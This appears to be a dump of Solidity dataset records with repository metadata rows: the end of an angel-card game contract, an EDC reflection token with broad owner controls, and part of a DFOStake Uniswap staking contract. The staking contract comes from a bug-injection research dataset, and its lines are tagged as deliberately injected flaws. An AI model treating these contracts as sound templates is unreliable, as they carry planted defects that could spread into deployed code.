function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8);
function updateAngelCardSeries(uint8 _angelCardSeriesId) onlyCREATOR external;
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64);
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external;
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external;
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external;
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external;
function addAngelIdMapping(address _owner, uint64 _angelId) private;
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode);
function ownerAngelTransfer (address _to, uint64 _angelId) public;
// read
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime);
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner);
function getOwnerAngelCount(address _owner) constant public returns(uint);
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64);
function getTotalAngelCardSeries() constant public returns (uint8);
function getTotalAngels() constant public returns (uint64);
}
contract AngelCardData is IAngelCardData, SafeMath {
event CreatedAngel(uint64 angelId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
struct AngelCardSeries {
uint8 angelCardSeriesId;
uint basePrice;
uint64 currentAngelTotal;
uint64 maxAngelTotal;
AngelAura baseAura;
uint baseBattlePower;
uint64 lastSellTime;
uint64 liveTime;
}
struct Angel {
uint64 angelId;
uint8 angelCardSeriesId;
address owner;
uint16 battlePower;
AngelAura aura;
uint16 experience;
uint price;
uint64 createdTime;
uint64 lastBattleTime;
uint64 lastVsBattleTime;
uint16 lastBattleResult;
}
mapping(uint8 => AngelCardSeries) public angelCardSeriesCollection;
mapping(uint64 => Angel) public angelCollection;
mapping(address => uint64[]) public ownerAngelCollection;
uint256 public prevSeriesSelloutHours;
//
function AngelCardData() public {
}
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8) {
if ((now > 1516692600) || (totalAngelCardSeries >= 24)) {revert();}
AngelCardSeries storage angelCardSeries = angelCardSeriesCollection[_angelCardSeriesId];
angelCardSeries.angelCardSeriesId = _angelCardSeriesId;
angelCardSeries.basePrice = _basePrice;
angelCardSeries.maxAngelTotal = _maxTotal;
angelCardSeries.baseAura = AngelAura(_baseAura);
angelCardSeries.baseBattlePower = _baseBattlePower;
angelCardSeries.lastSellTime = 0;
angelCardSeries.liveTime = _liveTime;
totalAngelCardSeries += 1;
return totalAngelCardSeries;
}
function updateAngelCardSeries(uint8 _angelCardSeriesId) onlyCREATOR external {
// Require that the series is above the Arel card
if (_angelCardSeriesId < 4)
revert();
//don't need to use safesubtract here because above we already reverted id less than 4.
AngelCardSeries memory seriesMinusOne = angelCardSeriesCollection[_angelCardSeriesId - 1];
AngelCardSeries storage seriesStorage = angelCardSeriesCollection[_angelCardSeriesId];
//In case no conditions are true, then no change.
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal;
if (seriesMinusOne.currentAngelTotal >= seriesMinusOne.maxAngelTotal) {
prevSeriesSelloutHours = (safeSubtract(seriesMinusOne.lastSellTime,seriesMinusOne.liveTime))/3600;
} else {
prevSeriesSelloutHours = 120;
}
// Set the new basePrice for the angelCardSeries
//Lower by 0.65 eth if didn't sell out, until min of 0.005 eth
if (prevSeriesSelloutHours > 100) {
if (seriesMinusOne.basePrice > 70000000000000000)
{seriesStorage.basePrice = seriesMinusOne.basePrice - 65000000000000000;}
else {seriesStorage.basePrice = 5000000000000000;}
}
//Increase by 0.005 ETH for 100-sell out hours. Price increases faster based on demand.
else {seriesStorage.basePrice = seriesMinusOne.basePrice+((100-prevSeriesSelloutHours)*5000000000000000);}
// Adjust the maxTotal for the angelCardSeries
//Don't need safeMath here because we are already checking values.
if (prevSeriesSelloutHours < 100 && seriesMinusOne.maxAngelTotal <= 435) {
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal+15;
} else if (prevSeriesSelloutHours > 100 && seriesMinusOne.maxAngelTotal >= 60) {
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal-15;
}
// Need to set this incase no cards sell, so that other calculations don't break
seriesStorage.lastSellTime = uint64(now);
}
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64) {
AngelCardSeries storage series = angelCardSeriesCollection[_angelCardSeriesId];
if (series.currentAngelTotal >= series.maxAngelTotal) {
revert();
}
else {
totalAngels += 1;
Angel storage angel = angelCollection[totalAngels];
series.currentAngelTotal += 1;
series.lastSellTime = uint64(now);
angel.angelId = totalAngels;
angel.angelCardSeriesId = _angelCardSeriesId;
angel.owner = _owner;
angel.battlePower = _battlePower;
angel.aura = series.baseAura;
angel.experience = 0;
angel.price = _price;
angel.createdTime = uint64(now);
angel.lastBattleTime = 0;
angel.lastVsBattleTime = 0;
angel.lastBattleResult = 0;
addAngelIdMapping(_owner, angel.angelId);
return angel.angelId;
}
}
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.experience = uint16(safeAdd(angel.experience, _value));
}
}
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastBattleTime = uint64(now);
}
}
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastVsBattleTime = uint64(now);
}
}
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastBattleResult = _value;
}
}
function addAngelIdMapping(address _owner, uint64 _angelId) private {
uint64[] storage owners = ownerAngelCollection[_owner];
owners.push(_angelId);
Angel storage angel = angelCollection[_angelId];
angel.owner = _owner;
}
function ownerAngelTransfer (address _to, uint64 _angelId) public {
if ((_angelId > totalAngels) || (_angelId == 0)) {revert();}
Angel storage angel = angelCollection[_angelId];
if (msg.sender == _to) {revert();}
if (angel.owner != msg.sender) {
revert();
}
else {
angel.owner = _to;
addAngelIdMapping(_to, _angelId);
}
}
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode) {
Angel storage angel = angelCollection[_angelId];
if (_from == _to) {revert();}
if (angel.owner != _from) {
return ResultCode.ERROR_NOT_OWNER;
}
angel.owner = _to;
addAngelIdMapping(_to, _angelId);
return ResultCode.SUCCESS;
}
//
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime) {
AngelCardSeries memory series = angelCardSeriesCollection[_angelCardSeriesId];
angelCardSeriesId = series.angelCardSeriesId;
currentAngelTotal = series.currentAngelTotal;
basePrice = series.basePrice;
maxAngelTotal = series.maxAngelTotal;
baseAura = uint8(series.baseAura);
baseBattlePower = series.baseBattlePower;
lastSellTime = series.lastSellTime;
liveTime = series.liveTime;
}
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner) {
Angel memory angel = angelCollection[_angelId];
angelId = angel.angelId;
angelCardSeriesId = angel.angelCardSeriesId;
battlePower = angel.battlePower;
aura = uint8(angel.aura);
experience = angel.experience;
price = angel.price;
createdTime = angel.createdTime;
lastBattleTime = angel.lastBattleTime;
lastVsBattleTime = angel.lastVsBattleTime;
lastBattleResult = angel.lastBattleResult;
owner = angel.owner;
}
function getOwnerAngelCount(address _owner) constant public returns(uint) {
return ownerAngelCollection[_owner].length;
}
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64) {
if (_index >= ownerAngelCollection[_owner].length) {
return 0; }
return ownerAngelCollection[_owner][_index];
}
function getTotalAngelCardSeries() constant public returns (uint8) {
return totalAngelCardSeries;
}
function getTotalAngels() constant public returns (uint64) {
return totalAngels;
}
}
| 209,788 | 12,416 |
0a26292b75287bc9b8da893343a09d9987d8c6d57a018b4bb94d2d95d1176db6
| 15,183 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x68a0a1fef18dfcc422db8be6f0f486dea1999edc.sol
| 4,119 | 14,912 |
pragma solidity ^0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EDC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _noFeeOnSend;
mapping (address => bool) private _noFeeOnReceive;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 110 * 10**4 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _inverseFeeRate = 20;
uint256 private _inverseFeeRateTimes100 = 100 * 20;
bool public _closeFee = false;
uint256 public _burndiv = 2;
string private _name = 'EarnDefiCoin';
string private _symbol = 'EDC';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function inverseFeeRate() public view returns (uint256) {
return _inverseFeeRate;
}
function setInverseFeeRate(uint256 r) public onlyOwner {
require(10 <= r && r <= 100, "Rate must be between 1% and 10%");
_inverseFeeRate = r;
_inverseFeeRateTimes100 = _inverseFeeRate.mul(100);
}
function setBurnDiv(uint256 r) public onlyOwner {
require(1 <= r && r <= 100, "Rate must be between 100% and 1%");
_burndiv = r;
}
function setCloseFee(bool flg) public onlyOwner {
_closeFee = flg;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setNoFeeOnSend(address account) external onlyOwner() {
require(!_noFeeOnSend[account], "Account is already in _noFeeOnSend");
_noFeeOnSend[account] = true;
}
function setHasFeeOnSend(address account) external onlyOwner() {
require(_noFeeOnSend[account], "Account is already not in _noFeeOnSend");
_noFeeOnSend[account] = false;
}
function setNoFeeOnReceive(address account) external onlyOwner() {
require(!_noFeeOnReceive[account], "Account is already in _noFeeOnReceive");
_noFeeOnReceive[account] = true;
}
function setHasFeeOnReceive(address account) external onlyOwner() {
require(_noFeeOnReceive[account], "Account is already not in _noFeeOnReceive");
_noFeeOnReceive[account] = false;
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
uint256 rate = _getRate();
uint256 new_Rowned = _tOwned[account].mul(rate);
uint256 Difference = _rOwned[account].sub(new_Rowned);
_rTotal = _rTotal.sub(Difference);
_rOwned[account] = new_Rowned;
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_noFeeOnSend[sender] || _noFeeOnReceive[recipient] || _closeFee) {
_transferNoFee(sender, recipient, amount);
} else {
_transferNormal(sender, recipient, amount);
}
}
function transferAirdrop(address recipient, uint256 tAmount) public onlyOwner {
require(!_isExcluded[msg.sender], "The owner has been excluded");
require(!_isExcluded[recipient], "The recipient address has been excluded");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount.mul(currentRate);
_rOwned[msg.sender] = _rOwned[msg.sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(msg.sender, recipient, tAmount);
}
function _transferNoFee(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
uint256 rAmount = tAmount.mul(currentRate);
if (_isExcluded[sender]) {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
}
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (_isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient].add(tAmount);
}
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
}
function _transferNormal(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
if (_isExcluded[sender]) {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
}
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (_isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
_tTotal = _tTotal.sub(tFee.div(_burndiv));
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = 0;
if (tAmount > 1) {
uint256 roundValue = _ceil(tAmount, _inverseFeeRate);
tFee = roundValue.mul(100).div(_inverseFeeRateTimes100);
}
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function helpUserWithdraw(address _token) public onlyOwner{
IERC20 token = IERC20(_token);
uint256 amount = token.balanceOf(address(this));
require(amount>0,'amount<0');
token.transfer(msg.sender, amount);
}
function _ceil(uint256 a, uint256 m) private pure returns (uint256) {
return ((a + m - 1) / m) * m;
}
}
| 276,115 | 12,417 |
17c31cdd949833a7db8aa70418b372f1c36dc0e099af8a1f80daed21cd31f970
| 19,351 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0xb68fb8b447fdb011b23ce960031e5b485800ac56_nonpublicVarAccessdByPublicFunc.sol
| 5,140 | 19,075 |
pragma solidity ^0.7.1;
contract DFOStake {
address private constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private WETH_ADDRESS = IUniswapV2Router(UNISWAP_V2_ROUTER).WETH();
address[] private TOKENS;
mapping(uint256 => uint256) private _totalPoolAmount;
uint256[] private TIME_WINDOWS;
uint256[] private REWARD_MULTIPLIERS;
uint256[] private REWARD_DIVIDERS;
uint256[] private REWARD_SPLIT_TRANCHES;
address private _doubleProxy;
struct StakeInfo {
address sender;
uint256 poolPosition;
uint256 firstAmount;
uint256 secondAmount;
uint256 poolAmount;
uint256 reward;
uint256 endBlock;
uint256[] partialRewardBlockTimes;
uint256 splittedReward;
}
uint256 private _startBlock;
mapping(uint256 => mapping(uint256 => StakeInfo)) private _stakeInfo;
mapping(uint256 => uint256) private _stakeInfoLength;
event Staked(address indexed sender, uint256 indexed tier, uint256 indexed poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, uint256 reward, uint256 endBlock, uint256[] partialRewardBlockTimes, uint256 splittedReward);
event Withdrawn(address sender, address indexed receiver, uint256 indexed tier, uint256 indexed poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, uint256 reward);
event PartialWithdrawn(address sender, address indexed receiver, uint256 indexed tier, uint256 reward);
constructor(uint256 startBlock, address doubleProxy, address[] memory tokens, uint256[] memory timeWindows, uint256[] memory rewardMultipliers, uint256[] memory rewardDividers, uint256[] memory rewardSplitTranches) public {
_startBlock = startBlock;
_doubleProxy = doubleProxy;
for(uint256 i = 0; i < tokens.length; i++) {
TOKENS.push(tokens[i]);
}
assert(timeWindows.length == rewardMultipliers.length && rewardMultipliers.length == rewardDividers.length && rewardDividers.length == rewardSplitTranches.length);
for(uint256 i = 0; i < timeWindows.length; i++) {
TIME_WINDOWS.push(timeWindows[i]);
}
for(uint256 i = 0; i < rewardMultipliers.length; i++) {
REWARD_MULTIPLIERS.push(rewardMultipliers[i]);
}
for(uint256 i = 0; i < rewardDividers.length; i++) {
REWARD_DIVIDERS.push(rewardDividers[i]);
}
for(uint256 i = 0; i < rewardSplitTranches.length; i++) {
REWARD_SPLIT_TRANCHES.push(rewardSplitTranches[i]);
}
}
function doubleProxy() public view returns(address) {
return _doubleProxy; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function tokens() public view returns(address[] memory) {
return TOKENS; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function tierData() public view returns(uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
return (TIME_WINDOWS, REWARD_MULTIPLIERS, REWARD_DIVIDERS, REWARD_SPLIT_TRANCHES); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function startBlock() public view returns(uint256) {
return _startBlock; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function totalPoolAmount(uint256 poolPosition) public view returns(uint256) {
return _totalPoolAmount[poolPosition]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setDoubleProxy(address newDoubleProxy) public {
require(IMVDFunctionalitiesManager(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_doubleProxy = newDoubleProxy; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function emergencyFlush() public {
IMVDProxy proxy = IMVDProxy(IDoubleProxy(_doubleProxy).proxy()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(IMVDFunctionalitiesManager(proxy.getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!");
address walletAddress = proxy.getMVDWalletAddress();
address tokenAddress = proxy.getToken();
IERC20 token = IERC20(tokenAddress);
uint256 balanceOf = token.balanceOf(address(this));
if(balanceOf > 0) {
token.transfer(walletAddress, balanceOf);
}
balanceOf = 0;
for(uint256 i = 0; i < TOKENS.length; i++) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
token = IERC20(IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(tokenAddress, TOKENS[i])); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balanceOf = token.balanceOf(address(this));
if(balanceOf > 0) {
token.transfer(walletAddress, balanceOf);
_totalPoolAmount[i] = 0; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
balanceOf = 0;
}
}
function stake(uint256 tier, uint256 poolPosition, uint256 originalFirstAmount, uint256 firstAmountMin, uint256 value, uint256 secondAmountMin) public payable {
require(block.number >= _startBlock, "Staking is still not available"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(poolPosition < TOKENS.length, "Unknown Pool"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(tier < TIME_WINDOWS.length, "Unknown tier"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(originalFirstAmount > 0, "First amount must be greater than 0");
uint256 originalSecondAmount = TOKENS[poolPosition] == WETH_ADDRESS ? msg.value : value; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(originalSecondAmount > 0, "Second amount must be greater than 0");
IMVDProxy proxy = IMVDProxy(IDoubleProxy(_doubleProxy).proxy()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
address tokenAddress = proxy.getToken();
_transferTokensAndCheckAllowance(tokenAddress, originalFirstAmount);
_transferTokensAndCheckAllowance(TOKENS[poolPosition], originalSecondAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
address secondToken = TOKENS[poolPosition]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 firstAmount, uint256 secondAmount, uint256 poolAmount) = _createPoolToken(originalFirstAmount, firstAmountMin, originalSecondAmount, secondAmountMin, tokenAddress, secondToken);
_totalPoolAmount[poolPosition] += poolAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 minCap,, uint256 remainingToStake) = getStakingInfo(tier);
require(firstAmount >= minCap, "Amount to stake is less than the current min cap");
require(firstAmount <= remainingToStake, "Amount to stake must be less than the current remaining one");
calculateRewardAndAddStakingPosition(tier, poolPosition, firstAmount, secondAmount, poolAmount, proxy);
}
function getStakingInfo(uint256 tier) public view returns(uint256 minCap, uint256 hardCap, uint256 remainingToStake) {
(minCap, hardCap) = getStakingCap(tier);
remainingToStake = hardCap;
uint256 length = _stakeInfoLength[tier]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for(uint256 i = 0; i < length; i++) {
if(_stakeInfo[tier][i].endBlock > block.number) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
remainingToStake -= _stakeInfo[tier][i].firstAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
}
function getStakingCap(uint256 tier) public view returns(uint256, uint256) {
IStateHolder stateHolder = IStateHolder(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getStateHolderAddress()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
string memory tierString = _toString(tier);
string memory addressString = _toLowerCase(_toString(address(this)));
return (stateHolder.getUint256(string(abi.encodePacked("staking.", addressString, ".tiers[", tierString, "].minCap"))),
stateHolder.getUint256(string(abi.encodePacked("staking.", addressString, ".tiers[", tierString, "].hardCap"))));
}
function _transferTokensAndCheckAllowance(address tokenAddress, uint256 value) private {
if(tokenAddress == WETH_ADDRESS) {
return;
}
IERC20 token = IERC20(tokenAddress);
token.transferFrom(msg.sender, address(this), value);
if(token.allowance(address(this), UNISWAP_V2_ROUTER) <= value) {
token.approve(UNISWAP_V2_ROUTER, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}
}
function _createPoolToken(uint256 originalFirstAmount, uint256 firstAmountMin, uint256 originalSecondAmount, uint256 secondAmountMin, address firstToken, address secondToken) private returns(uint256 firstAmount, uint256 secondAmount, uint256 poolAmount) {
if(secondToken == WETH_ADDRESS) {
(firstAmount, secondAmount, poolAmount) = IUniswapV2Router(UNISWAP_V2_ROUTER).addLiquidityETH{value: originalSecondAmount}(firstToken,
originalFirstAmount,
firstAmountMin,
secondAmountMin,
address(this),
block.timestamp + 1000);
} else {
(firstAmount, secondAmount, poolAmount) = IUniswapV2Router(UNISWAP_V2_ROUTER).addLiquidity(firstToken,
secondToken,
originalFirstAmount,
originalSecondAmount,
firstAmountMin,
secondAmountMin,
address(this),
block.timestamp + 1000);
}
if(firstAmount < originalFirstAmount) {
IERC20(firstToken).transfer(msg.sender, originalFirstAmount - firstAmount);
}
if(secondAmount < originalSecondAmount) {
if(secondToken == WETH_ADDRESS) {
payable(msg.sender).transfer(originalSecondAmount - secondAmount);
} else {
IERC20(secondToken).transfer(msg.sender, originalSecondAmount - secondAmount);
}
}
}
